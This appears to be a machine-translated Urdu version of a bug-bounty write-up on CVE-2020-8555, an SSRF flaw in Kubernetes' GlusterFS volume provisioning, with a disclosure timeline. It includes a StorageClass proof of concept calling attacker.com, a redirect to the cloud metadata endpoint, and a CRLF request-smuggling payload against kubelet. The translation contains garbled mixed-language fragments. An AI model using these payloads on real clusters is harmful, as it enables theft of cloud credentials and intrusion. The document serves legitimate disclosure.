جب یہ صرف کبرنیٹس کی کمزوریوں کے بارے میں نہیں ہے...

نوٹ. ترجمہ: اس مضمون کے مصنفین اس بارے میں تفصیل سے بات کرتے ہیں کہ وہ کس طرح کمزوری کو دریافت کرنے میں کامیاب ہوئے۔ CVE-2020-8555 Kubernetes میں اگرچہ ابتدائی طور پر یہ بہت خطرناک نہیں لگتا تھا، لیکن دوسرے عوامل کے ساتھ مل کر اس کی تنقید کچھ کلاؤڈ فراہم کرنے والوں کے لیے زیادہ سے زیادہ ثابت ہوئی۔ کئی تنظیموں نے ماہرین کو ان کے کام کے لیے دل کھول کر انعام دیا۔

ہم کون ہیں

ہم دو فرانسیسی سیکورٹی محققین ہیں جنہوں نے مشترکہ طور پر Kubernetes میں ایک کمزوری دریافت کی۔ ہمارے نام Brice Augras اور Christophe Hauquiert ہیں، لیکن بہت سے بگ باؤنٹی پلیٹ فارمز پر ہم بالترتیب Reeverzax اور Hach کے نام سے جانے جاتے ہیں:

• برائس آگرس - گروپ ایسٹن کمپنی;
• کرسٹوف ہاکیورٹ - نوکیا میں Kubernetes معمار۔

کیا ہوا؟

یہ مضمون یہ بتانے کا ہمارا طریقہ ہے کہ کس طرح ایک عام تحقیقی منصوبہ غیر متوقع طور پر بگ ہنٹرز کی زندگی میں سب سے زیادہ دلچسپ مہم جوئی میں تبدیل ہو گیا (کم از کم ابھی کے لیے)۔

جیسا کہ آپ شاید جانتے ہوں گے، بگ ہنٹر کے پاس چند قابل ذکر خصوصیات ہیں:

• وہ پیزا اور بیئر پر رہتے ہیں؛
• وہ کام کرتے ہیں جب باقی سب سو رہے ہوتے ہیں۔

ہم ان اصولوں سے مستثنیٰ نہیں ہیں: ہم عام طور پر ہفتے کے آخر میں ملتے ہیں اور ہیکنگ میں بے خواب راتیں گزارتے ہیں۔ لیکن ان راتوں میں سے ایک بہت ہی غیر معمولی انداز میں ختم ہوئی۔

شروع میں ہم اس میں شرکت پر بات کرنے کے لیے ملنے جا رہے تھے۔ سی ٹی ایف اگلے دن. ایک منظم سروس ماحول میں Kubernetes سیکورٹی کے بارے میں گفتگو کے دوران، ہمیں SSRF کا پرانا خیال یاد آیا (سرور سائیڈ کی درخواست کی جعلسازی) اور اسے حملہ اسکرپٹ کے طور پر استعمال کرنے کی کوشش کرنے کا فیصلہ کیا۔

11 بجے ہم اپنی تحقیق کے لیے بیٹھ گئے اور نتائج سے بہت مطمئن ہو کر صبح سویرے سو گئے۔ اس تحقیق کی وجہ سے ہی ہم نے MSRC بگ باؤنٹی پروگرام کو دیکھا اور استحقاق میں اضافے کا فائدہ اٹھایا۔

کئی ہفتے/مہینے گزر گئے، اور ہمارے غیر متوقع نتیجے کے نتیجے میں Azure Cloud Bug Bounty کی تاریخ میں سب سے زیادہ انعامات میں سے ایک ہے - اس کے علاوہ جو ہمیں Kubernetes سے موصول ہوا ہے!

ہمارے تحقیقی منصوبے کی بنیاد پر، Kubernetes پروڈکٹ سیکیورٹی کمیٹی نے شائع کیا۔ CVE-2020-8555.

اب میں پائے جانے والے خطرے کے بارے میں معلومات کو زیادہ سے زیادہ پھیلانا چاہوں گا۔ ہم امید کرتے ہیں کہ آپ تلاش کی تعریف کریں گے اور تکنیکی تفصیلات کو infosec کمیونٹی کے دیگر اراکین کے ساتھ شیئر کریں گے!

تو یہ ہے ہماری کہانی...

سیاق و سباق

کیا ہوا اس کا زیادہ سے زیادہ احساس کرنے کے لیے، آئیے پہلے دیکھیں کہ کبرنیٹس بادل کے زیر انتظام ماحول میں کیسے کام کرتا ہے۔

جب آپ ایسے ماحول میں کوبرنیٹس کلسٹر کو انسٹینٹیٹ کرتے ہیں، تو مینجمنٹ لیئر عام طور پر کلاؤڈ فراہم کنندہ کی ذمہ داری ہوتی ہے:

کنٹرول پرت کلاؤڈ فراہم کنندہ کے دائرہ میں واقع ہے، جبکہ کبرنیٹس نوڈس گاہک کے دائرہ میں واقع ہیں

حجم کو متحرک طور پر مختص کرنے کے لیے، ایک میکانزم کا استعمال ان کو متحرک طور پر ایک بیرونی اسٹوریج بیک اینڈ سے فراہم کرنے اور پی وی سی (مستقل حجم کا دعویٰ، یعنی حجم کی درخواست) سے موازنہ کرنے کے لیے کیا جاتا ہے۔

اس طرح، K8s کلسٹر میں PVC کی تخلیق اور StorageClass کے ساتھ پابند ہونے کے بعد، حجم فراہم کرنے کے لیے مزید کارروائیاں کیوب/کلاؤڈ کنٹرولر مینیجر (اس کا صحیح نام ریلیز پر منحصر ہے) کے ذریعے لیا جاتا ہے۔ (نوٹ. ترجمہ: ہم کلاؤڈ فراہم کرنے والوں میں سے ایک کے لیے اس کے نفاذ کی مثال استعمال کرتے ہوئے CCM کے بارے میں پہلے ہی مزید لکھ چکے ہیں۔ یہاں.)

Kubernetes کی طرف سے معاونت فراہم کرنے والوں کی کئی قسمیں ہیں: ان میں سے اکثر شامل ہیں۔ آرکیسٹریٹر کور، جبکہ دیگر کا انتظام اضافی پروویژنرز کے ذریعہ کیا جاتا ہے جو کلسٹر میں پوڈز میں رکھے جاتے ہیں۔

ہماری تحقیق میں، ہم نے اندرونی حجم کی فراہمی کے طریقہ کار پر توجہ مرکوز کی، جس کی مثال ذیل میں دی گئی ہے:

بلٹ ان Kubernetes پروویژنر کا استعمال کرتے ہوئے جلدوں کی متحرک فراہمی

مختصراً، جب Kubernetes کو ایک منظم ماحول میں تعینات کیا جاتا ہے، تو کنٹرولر مینیجر کلاؤڈ فراہم کنندہ کی ذمہ داری ہے، لیکن حجم کی تخلیق کی درخواست (اوپر دی گئی تصویر میں نمبر 3) کلاؤڈ فراہم کنندہ کے اندرونی نیٹ ورک کو چھوڑ دیتی ہے۔ اور یہ وہ جگہ ہے جہاں چیزیں واقعی دلچسپ ہوجاتی ہیں!

ہیکنگ کا منظر

اس سیکشن میں، ہم اس بات کی وضاحت کریں گے کہ ہم نے اوپر بتائے گئے ورک فلو سے کیسے فائدہ اٹھایا اور کلاؤڈ سروس فراہم کرنے والے کے اندرونی وسائل تک رسائی حاصل کی۔ یہ آپ کو یہ بھی دکھائے گا کہ آپ کس طرح کچھ اعمال انجام دے سکتے ہیں، جیسے کہ داخلی اسناد حاصل کرنا یا مراعات کو بڑھانا۔

ایک سادہ ہیرا پھیری (اس معاملے میں، سروس سائیڈ ریکویسٹ فورجری) نے کلائنٹ کے ماحول سے آگے منظم K8s کے تحت مختلف سروس فراہم کرنے والوں کے کلسٹرز میں جانے میں مدد کی۔

اپنی تحقیق میں ہم نے GlusterFS پروویژنر پر توجہ مرکوز کی۔ اس حقیقت کے باوجود کہ کارروائیوں کی مزید ترتیب کو اس تناظر میں بیان کیا گیا ہے، Quobyte، StorageOS اور ScaleIO اسی خطرے کے لیے حساس ہیں۔

متحرک حجم کی فراہمی کے طریقہ کار کا غلط استعمال

سٹوریج کلاس تجزیہ کے دوران گلسٹر ایف ایس گولانگ کلائنٹ سورس کوڈ میں ہم محسوس کیاجو کہ پہلی HTTP درخواست (3) پر والیوم تخلیق کے دوران بھیجی گئی، پیرامیٹر میں حسب ضرورت URL کے آخر تک resturl شامل کیا گیا ہے /volumes.

ہم نے شامل کرکے اس اضافی راستے سے چھٹکارا حاصل کرنے کا فیصلہ کیا۔ # پیرامیٹر میں resturl. یہ پہلی YAML کنفیگریشن ہے جسے ہم نیم نابینا SSRF کمزوری کی جانچ کے لیے استعمال کرتے تھے۔ (آپ نیم اندھے یا آدھے اندھے SSRF کے بارے میں مزید پڑھ سکتے ہیں، مثال کے طور پر، یہاں - تقریبا. ترجمہ):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

پھر ہم نے بائنری کا استعمال کبرنیٹس کلسٹر کو دور سے منظم کرنے کے لیے کیا۔ کیوبیکٹل. عام طور پر، کلاؤڈ فراہم کرنے والے (Azure، Google، AWS، وغیرہ) آپ کو اس یوٹیلیٹی میں استعمال کے لیے اسناد حاصل کرنے کی اجازت دیتے ہیں۔

اس کا شکریہ، میں اپنی "خصوصی" فائل کو استعمال کرنے کے قابل تھا۔ Kube-controller-manager نے نتیجے میں HTTP درخواست کو عمل میں لایا:

kubectl create -f sc-poc.yaml

حملہ آور کے نقطہ نظر سے جواب

اس کے تھوڑی دیر بعد، ہم کمانڈز کے ذریعے ٹارگٹ سرور سے HTTP جواب بھی حاصل کرنے میں کامیاب ہو گئے۔ describe pvc یا get events kubectl میں اور درحقیقت: یہ ڈیفالٹ Kubernetes ڈرائیور اپنے انتباہات/غلطی کے پیغامات میں بہت زیادہ لفظی ہے...

یہاں لنک کے ساتھ ایک مثال ہے۔ https://www.google.frپیرامیٹر کے طور پر سیٹ کریں۔ resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

اس نقطہ نظر میں، ہم جیسے سوالات تک محدود تھے HTTP پوسٹ اور اگر ریٹرن کوڈ تھا تو ریسپانس باڈی کا مواد حاصل نہیں کر سکا 201. لہذا، ہم نے اضافی تحقیق کرنے کا فیصلہ کیا اور اس ہیکنگ کے منظر نامے کو نئے طریقوں کے ساتھ بڑھایا۔

ہماری تحقیق کا ارتقاء

• اعلی درجے کا منظر نامہ #1: اندرونی ڈیٹا اکٹھا کرنے کا زیادہ لچکدار طریقہ فراہم کرنے کے لیے HTTP طریقہ کو تبدیل کرنے کے لیے بیرونی سرور سے 302 ری ڈائریکٹ کا استعمال۔
• اعلی درجے کا منظرنامہ #2: خودکار LAN اسکیننگ اور اندرونی وسائل کی دریافت۔
• اعلی درجے کا منظر نامہ #3: HTTP CRLF + سمگلنگ ("اسمگلنگ کی درخواست") کا استعمال کرتے ہوئے موزوں HTTP درخواستیں تخلیق کرنا اور کیوب کنٹرولر لاگز سے نکالے گئے ڈیٹا کو بازیافت کرنا۔

تکنیکی خصوصیات

• تحقیق میں شمالی یورپ کے علاقے میں Kubernetes ورژن 1.12 کے ساتھ Azure Kubernetes سروس (AKS) کا استعمال کیا گیا۔
• اوپر بیان کیے گئے منظرناموں کو تیسرے منظر نامے کو چھوڑ کر، Kubernetes کی تازہ ترین ریلیز پر عمل میں لایا گیا، کیونکہ اسے Golang ورژن ≤ 1.12 کے ساتھ بنائے گئے Kubernetes کی ضرورت تھی۔
• حملہ آور کا بیرونی سرور - https://attacker.com.

اعلی درجے کا منظر نامہ #1: ایک HTTP POST درخواست کو GET پر بھیجنا اور حساس ڈیٹا وصول کرنا

اصل طریقہ کو حملہ آور کے سرور کی واپسی کی ترتیب سے بہتر بنایا گیا تھا۔ 302 HTTP ریٹ کوڈPOST کی درخواست کو GET درخواست میں تبدیل کرنے کے لیے (ڈائیگرام میں مرحلہ 4):

پہلی درخواست (3) کلائنٹ کی طرف سے آرہی ہے۔ گلسٹر ایف ایس (کنٹرولر مینیجر) کے پاس POST قسم ہے۔ ان اقدامات پر عمل کرکے ہم اسے ایک GET میں تبدیل کرنے میں کامیاب ہوئے:

• پیرامیٹر کے طور پر resturl StorageClass میں اس کی نشاندہی کی گئی ہے۔ http://attacker.com/redirect.php.
• اختتام پوائنٹ https://attacker.com/redirect.php درج ذیل لوکیشن ہیڈر کے ساتھ 302 HTTP اسٹیٹس کوڈ کے ساتھ جواب دیتا ہے: http://169.254.169.254. یہ کوئی دوسرا اندرونی وسیلہ ہو سکتا ہے - اس معاملے میں، ری ڈائریکٹ لنک کو صرف ایک مثال کے طور پر استعمال کیا جاتا ہے۔
• умолчанию По net/http لائبریری Golang درخواست کو ری ڈائریکٹ کرتا ہے اور POST کو 302 اسٹیٹس کوڈ کے ساتھ GET میں تبدیل کرتا ہے، جس کے نتیجے میں ہدف کے وسائل پر HTTP GET کی درخواست ہوتی ہے۔

HTTP رسپانس باڈی کو پڑھنے کے لیے آپ کو کرنا ہوگا۔ describe پیویسی آبجیکٹ:

kubectl describe pvc xxx

یہاں JSON فارمیٹ میں HTTP جواب کی ایک مثال ہے جو ہم حاصل کرنے کے قابل تھے:

اس وقت پائے جانے والے خطرے کی صلاحیتیں درج ذیل نکات کی وجہ سے محدود تھیں۔

• باہر جانے والی درخواست میں HTTP ہیڈر داخل کرنے میں ناکامی۔
• جسم میں پیرامیٹرز کے ساتھ POST کی درخواست کو انجام دینے میں ناکامی (یہ چل رہا ہے ایک etcd مثال سے کلیدی قیمت کی درخواست کرنا آسان ہے 2379 پورٹ اگر غیر خفیہ کردہ HTTP استعمال کیا جاتا ہے)۔
• اسٹیٹس کوڈ 200 ہونے اور جواب میں JSON مواد کی قسم نہ ہونے پر ردعمل کے باڈی مواد کو بازیافت کرنے میں ناکامی۔

اعلی درجے کا منظرنامہ #2: مقامی نیٹ ورک کو اسکین کرنا

اس آدھے اندھے SSRF طریقہ کا استعمال اس کے بعد کلاؤڈ فراہم کنندہ کے اندرونی نیٹ ورک کو اسکین کرنے اور جوابات کی بنیاد پر مختلف سننے کی خدمات (میٹا ڈیٹا مثال، Kubelet، etcd، وغیرہ) کو پول کرنے کے لیے کیا گیا۔ کیوب کنٹرولر.

سب سے پہلے، Kubernetes اجزاء کی معیاری سننے والی بندرگاہوں کا تعین کیا گیا تھا (8443، 10250، 10251، وغیرہ)، اور پھر ہمیں اسکیننگ کے عمل کو خودکار کرنا پڑا۔

یہ دیکھتے ہوئے کہ وسائل کو اسکین کرنے کا یہ طریقہ بہت مخصوص ہے اور یہ کلاسک اسکینرز اور SSRF ٹولز کے ساتھ مطابقت نہیں رکھتا، ہم نے اپنے کارکنان کو ایک bash اسکرپٹ میں بنانے کا فیصلہ کیا جو پورے عمل کو خودکار بناتا ہے۔

مثال کے طور پر، اندرونی نیٹ ورک کی رینج 172.16.0.0/12 کو تیزی سے اسکین کرنے کے لیے، 15 کارکنوں کو متوازی طور پر شروع کیا گیا۔ مندرجہ بالا IP رینج کو صرف ایک مثال کے طور پر منتخب کیا گیا ہے اور یہ آپ کے مخصوص سروس فراہم کنندہ کے IP رینج میں تبدیلی کے تابع ہو سکتا ہے۔

ایک آئی پی ایڈریس اور ایک پورٹ کو اسکین کرنے کے لیے، آپ کو درج ذیل کام کرنے کی ضرورت ہے:

• آخری چیک شدہ StorageClass کو حذف کریں؛
• پچھلے تصدیق شدہ پرسسٹنٹ والیوم کلیم کو ہٹا دیں؛
• میں آئی پی اور پورٹ کی قدروں کو تبدیل کریں۔ sc.yaml;
• نئے آئی پی اور پورٹ کے ساتھ اسٹوریج کلاس بنائیں۔
• ایک نیا پیویسی بنائیں؛
• پیویسی کے لیے وضاحت کا استعمال کرتے ہوئے اسکین کے نتائج نکالیں۔

اعلی درجے کا منظر نامہ #3: CRLF انجیکشن + کبرنیٹس کلسٹر کے "پرانے" ورژن میں HTTP کی سمگلنگ

اگر اس کے علاوہ فراہم کنندہ گاہکوں کو K8s کلسٹر کے پرانے ورژن پیش کرتا ہے۔ и نے انہیں kube-controller-manager کے لاگز تک رسائی دی، اثر اور بھی اہم ہو گیا۔

ایک حملہ آور کے لیے اپنی صوابدید پر مکمل HTTP جواب حاصل کرنے کے لیے تیار کردہ HTTP درخواستوں کو تبدیل کرنا درحقیقت بہت زیادہ آسان ہے۔

آخری منظر نامے کو نافذ کرنے کے لیے درج ذیل شرائط کو پورا کرنا ضروری تھا:

• صارف کے پاس kube-controller-manager لاگز تک رسائی ہونی چاہیے (مثال کے طور پر Azure LogInsights میں)۔
• Kubernetes کلسٹر کو Golang کا 1.12 سے کم ورژن استعمال کرنا چاہیے۔

ہم نے ایک مقامی ماحول کو متعین کیا جس نے GlusterFS Go کلائنٹ اور ایک جعلی ٹارگٹ سرور کے درمیان مواصلت کو نقل کیا (ہم ابھی کے لیے PoC شائع کرنے سے گریز کریں گے)۔

پایا گیا کمزوری1.12 سے کم گولانگ ورژنز کو متاثر کرنا اور ہیکرز کو HTTP سمگلنگ/CRLF حملے کرنے کی اجازت دینا۔

اوپر بیان کردہ آدھے اندھے SSRF کو ملا کر вместе اس کے ساتھ، ہم اپنی پسند کے مطابق درخواستیں بھیجنے کے قابل تھے، بشمول ہیڈر، HTTP طریقہ، پیرامیٹرز اور ڈیٹا کو تبدیل کرنا، جس پر kube-controller-manager نے پھر کارروائی کی۔

یہاں ایک پیرامیٹر میں کام کرنے والے "بیت" کی ایک مثال ہے۔ resturl StorageClass، جو اسی طرح کے حملے کے منظر نامے کو نافذ کرتا ہے:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

نتیجہ ایک غلطی ہے۔ غیر مطلوب جواب، ایک پیغام جس کے بارے میں کنٹرولر لاگز میں ریکارڈ کیا جاتا ہے۔ بذریعہ ڈیفالٹ فعال فعل کی بدولت، HTTP رسپانس میسج کے مواد کو بھی وہاں محفوظ کیا جاتا ہے۔

تصور کے ثبوت کے فریم ورک کے اندر یہ ہمارا سب سے موثر "بیت" تھا۔

اس نقطہ نظر کو استعمال کرتے ہوئے، ہم مختلف مینیجڈ k8s فراہم کنندگان کے کلسٹرز پر درج ذیل حملوں میں سے کچھ کو انجام دینے میں کامیاب ہوئے: میٹا ڈیٹا مثالوں پر اسناد کے ساتھ استحقاق میں اضافہ، etcd ماسٹر مثالوں پر (غیر خفیہ کردہ) HTTP درخواستوں کے ذریعے Master DoS وغیرہ۔

نتائج

ایس ایس آر ایف کی کمزوری کے بارے میں کبرنیٹس کے سرکاری بیان میں ہم نے دریافت کیا، اس کی درجہ بندی کی گئی۔ CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N اگر ہم صرف کوبرنیٹس پریمیٹر، انٹیگریٹی ویکٹر سے وابستہ کمزوری پر غور کریں۔ (سالمیت ویکٹر) یہ کے طور پر اہل ہے کوئی بھی نہیں.

تاہم، منظم سروس ماحول کے تناظر میں ممکنہ نتائج کا اندازہ لگانا (اور یہ ہماری تحقیق کا سب سے دلچسپ حصہ تھا!) نے ہمیں کمزوری کو درجہ بندی میں دوبارہ درجہ بندی کرنے پر آمادہ کیا۔ تنقیدی CVSS10/10 بہت سے تقسیم کاروں کے لیے۔

بادل کے ماحول میں ممکنہ اثرات کا اندازہ لگاتے وقت ہمارے تحفظات کو سمجھنے میں آپ کی مدد کرنے کے لیے ذیل میں اضافی معلومات ہے۔

سالمیت

• حاصل شدہ داخلی اسناد کا استعمال کرتے ہوئے دور سے کمانڈز پر عمل کریں۔
• مقامی نیٹ ورک پر پائے جانے والے دیگر وسائل کے ساتھ IDOR (Insecure Direct Object Reference) کا طریقہ استعمال کرتے ہوئے مذکورہ منظر نامے کو دوبارہ پیش کرنا۔

رازداری

• حملے کی قسم پارشوئک تحریک کلاؤڈ اسناد کی چوری کا شکریہ (مثال کے طور پر، میٹا ڈیٹا API)۔
• مقامی نیٹ ورک کو اسکین کرکے معلومات جمع کرنا (SSH ورژن، HTTP سرور ورژن، ... کا تعین کرنا)۔
• اندرونی APIs جیسے میٹا ڈیٹا API (http://169.254.169.254،…)۔
• کلاؤڈ اسناد کا استعمال کرتے ہوئے گاہک کا ڈیٹا چوری کرنا۔

دستیابی

پر حملہ کرنے والے ویکٹر سے متعلق تمام استحصالی منظرنامے۔ سالمیت, تباہ کن کارروائیوں کے لیے استعمال کیا جا سکتا ہے اور کلائنٹ کے دائرہ (یا کسی دوسرے) کے دستیاب نہ ہونے سے ماسٹر مثالوں کا باعث بن سکتا ہے۔

چونکہ ہم ایک منظم K8s ماحول میں تھے اور سالمیت پر اثرات کا اندازہ لگا رہے تھے، اس لیے ہم بہت سے منظرناموں کا تصور کر سکتے ہیں جو دستیابی کو متاثر کر سکتے ہیں۔ اضافی مثالوں میں etcd ڈیٹا بیس کو خراب کرنا یا Kubernetes API کو ایک اہم کال کرنا شامل ہے۔

کوریہ

• دسمبر 6، 2019: خطرے کی اطلاع MSRC بگ باؤنٹی کو دی گئی۔
• 3 جنوری 2020: ایک فریق ثالث نے Kubernetes کے ڈویلپرز کو مطلع کیا کہ ہم سیکیورٹی کے مسئلے پر کام کر رہے ہیں۔ اور ان سے کہا کہ وہ SSRF کو اندرونی (اندرونی) کمزوری سمجھیں۔ اس کے بعد ہم نے مسئلہ کے ماخذ کے بارے میں تکنیکی تفصیلات کے ساتھ ایک عمومی رپورٹ فراہم کی۔
• 15 جنوری 2020: ہم نے Kubernetes کے ڈویلپرز کو ان کی درخواست پر (HackerOne پلیٹ فارم کے ذریعے) تکنیکی اور عمومی رپورٹیں فراہم کیں۔
• 15 جنوری 2020: Kubernetes کے ڈویلپرز نے ہمیں مطلع کیا کہ ماضی کی ریلیز کے لیے ہاف بلائنڈ SSRF + CRLF انجیکشن کو بنیادی خطرہ سمجھا جاتا ہے۔ ہم نے فوری طور پر دوسرے سروس فراہم کنندگان کے دائرہ کار کا تجزیہ کرنا بند کر دیا: K8s ٹیم اب بنیادی وجہ سے نمٹ رہی تھی۔
• 15 جنوری 2020: MSRC کا انعام HackerOne کے ذریعے موصول ہوا۔
• 16 جنوری 2020: Kubernetes PSC (پروڈکٹ سیکیورٹی کمیٹی) نے اس خطرے کو تسلیم کیا اور ممکنہ متاثرین کی بڑی تعداد کی وجہ سے اسے مارچ کے وسط تک خفیہ رکھنے کو کہا۔
• 11 فروری 2020: Google VRP انعام موصول ہوا۔
• 4 مارچ 2020: HackerOne کے ذریعے Kubernetes کا انعام موصول ہوا۔
• 15 مارچ 2020: COVID-19 کی صورتحال کی وجہ سے اصل میں طے شدہ عوامی انکشاف ملتوی کر دیا گیا۔
• 1 جون 2020: کوبرنیٹس + مائیکروسافٹ کا مشترکہ بیان خطرے کے بارے میں۔

TL؛ ڈاکٹر

• ہم بیئر پیتے ہیں اور پیزا کھاتے ہیں :)
• ہمیں Kubernetes میں ایک بنیادی کمزوری کا پتہ چلا، حالانکہ ہمارا ایسا کرنے کا کوئی ارادہ نہیں تھا۔
• ہم نے مختلف کلاؤڈ فراہم کنندگان کے کلسٹرز پر اضافی تجزیہ کیا اور اضافی زبردست بونس حاصل کرنے کے خطرے کی وجہ سے ہونے والے نقصان کو بڑھانے میں کامیاب رہے۔
• آپ کو اس مضمون میں بہت ساری تکنیکی تفصیلات ملیں گی۔ ہمیں آپ کے ساتھ ان پر بات کرنے میں خوشی ہوگی (Twitter: @ReeverZax & @__hach_).
• یہ پتہ چلا کہ تمام قسم کی رسمی کارروائیوں اور رپورٹنگ میں توقع سے کہیں زیادہ وقت لگا۔

حوالہ جات

• گوگل گروپ kubernetes-security-announce;
• CVE-2020-8555;
• گولنگ شمارہ نمبر 30794;
• heketi/client/api/go-client/volume.go.

مترجم سے PS

ہمارے بلاگ پر بھی پڑھیں:

• «Kubernetes بگ ہنٹ سرکاری طور پر کھلا ہے۔؛ "
• «لاگز لگا کر Kubernetes میں پوڈ سے باہر نکلنا؛ "
• «33+ Kubernetes سیکیورٹی ٹولز'.

ماخذ: www.habr.com